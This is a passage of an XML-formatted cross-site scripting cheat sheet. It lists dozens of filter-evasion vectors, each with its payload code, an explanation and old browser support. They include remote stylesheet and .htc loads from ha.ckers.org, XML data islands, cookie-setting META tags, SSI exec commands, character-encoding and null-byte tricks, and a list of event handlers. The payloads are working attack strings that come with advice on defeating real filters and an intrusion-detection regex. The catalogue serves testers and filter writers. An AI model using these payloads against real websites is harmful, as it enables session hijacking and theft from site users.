<desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Remote Stylesheet 3</name>
<code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code>
<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Remote Stylesheet 4</name>
<code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code>
<desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>TABLE</name>
<code><TABLE BACKGROUND="javascript:alert('XSS')"></TABLE></code>
<desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>TD</name>
<code><TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE></code>
<desc>TD background.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>XML namespace</name>
<code><HTML xmlns:xss>
<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
<xss:xss>XSS</xss:xss>
</HTML></code>
<desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>XML data island w/CDATA</name>
<code><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></code>
<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>XML data island w/comment</name>
<code><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></code>
<desc>XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>XML (locally hosted)</name>
<code><XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></code>
<desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>XML HTML+TIME</name>
<code><HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML></code>
<desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Commented-out Block</name>
<code><!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--></code>
<desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.</desc>
<label>Other Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Cookie Manipulation</name>
<code><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"></code>
<desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc>
<label>Other Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Local .htc file</name>
<code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code>
<desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc>
<label>Other Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Rename .js to .jpg</name>
<code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code>
<desc>Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.</desc>
<label>Other Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>SSI</name>
<code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code>
<desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc>
<label>Other Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>PHP</name>
<code><? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
<desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc>
<label>Other Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>JavaScript Includes</name>
<code><BR SIZE="&{alert('XSS')}"></code>
<desc>&JavaScript includes (works in Netscape 4.x).</desc>
<label>Other Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser>
</attack>
<attack>
<name>Character Encoding Example</name>
<code><
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C</code>
<desc>All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support:</browser>
</attack>
<attack>
<name>Case Insensitive</name>
<code><IMG SRC=JaVaScRiPt:alert('XSS')></code>
<desc>Case insensitive XSS attack vector.</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>HTML Entities</name>
<code><IMG SRC=javascript:alert(&quot;XSS&quot;)></code>
<desc>HTML entities (the semicolons are required for this to work).</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Grave Accents</name>
<code><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`></code>
<desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Image w/CharCode</name>
<code><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))></code>
<desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>UTF-8 Unicode Encoding</name>
<code><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;></code>
<desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Long UTF-8 Unicode w/out Semicolons</name>
<code><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></code>
<desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>DIV w/Unicode</name>
<code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code>
<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Hex Encoding w/out Semicolons</name>
<code><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></code>
<desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>UTF-7 Encoding</name>
<code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</code>
<desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Escaping JavaScript escapes</name>
<code>\";alert('XSS');//</code>
<desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>End title tag</name>
<code></TITLE><SCRIPT>alert("XSS");</SCRIPT></code>
<desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>STYLE w/broken up JavaScript</name>
<code><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE></code>
<desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc>
<label>Character Encoding Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Embedded Tab</name>
<code><IMG SRC="jav	ascript:alert('XSS');"></code>
<desc>Embedded tab to break up the cross site scripting attack.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Embedded Encoded Tab</name>
<code><IMG SRC="jav&#x09;ascript:alert('XSS');"></code>
<desc>Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Embedded Newline</name>
<code><IMG SRC="jav&#x0A;ascript:alert('XSS');"></code>
<desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Embedded Carriage Return</name>
<code><IMG SRC="jav&#x0D;ascript:alert('XSS');"></code>
<desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Multiline w/Carriage Returns</name>
<code><IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
</code>
<desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Null Chars 1</name>
<code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code>
<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Null Chars 2</name>
<code>perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out</code>
<desc>Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Spaces/Meta Chars</name>
<code><IMG SRC=" &#14; javascript:alert('XSS');"></code>
<desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Non-Alpha/Non-Digit</name>
<code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Non-Alpha/Non-Digit Part 2</name>
<code><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></code>
<desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>No Closing Script Tag</name>
<code><SCRIPT SRC=http://ha.ckers.org/xss.js</code>
<desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Protocol resolution in script tags</name>
<code><SCRIPT SRC=//ha.ckers.org/.j></code>
<desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Half-Open HTML/JavaScript</name>
<code><IMG SRC="javascript:alert('XSS')"</code>
<desc>Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Double open angle brackets</name>
<code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code>
<desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Extraneous Open Brackets</name>
<code><<SCRIPT>alert("XSS");//<</SCRIPT></code>
<desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Malformed IMG Tags</name>
<code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code>
<desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>No Quotes/Semicolons</name>
<code><SCRIPT>a=/XSS/
alert(a.source)</SCRIPT></code>
<desc>No single quotes or double quotes or semicolons.</desc>
<label>Embedded Character Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Event Handlers List 1</name>
<code>See Below</code>
<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
-FSCommand() (execute from within an embedded Flash object)
-onAbort() (when user aborts the loading of an image)
-onActivate() (when object is set as the active element)
-onAfterPrint() (activates after user prints or previews print job)
-onAfterUpdate() (activates on data object after updating data in the source object)
-onBeforeActivate() (fires before the object is set as the active element)
-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function)
-onBeforeCut() (attacker executes the attack string right before a selection is cut)
-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function)
-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
-onBegin() (fires immediately when the element's timeline begins)
-onBlur() (in the case where another popup is loaded and window loses focus)
-onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
-onCellChange() (fires when data changes in the data provider)
-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
-onClick() (fires when someone clicks on a form)
-onContextMenu() (user would need to right click on attack area)
-onControlSelect() (fires when the user is about to make a control selection of the object)
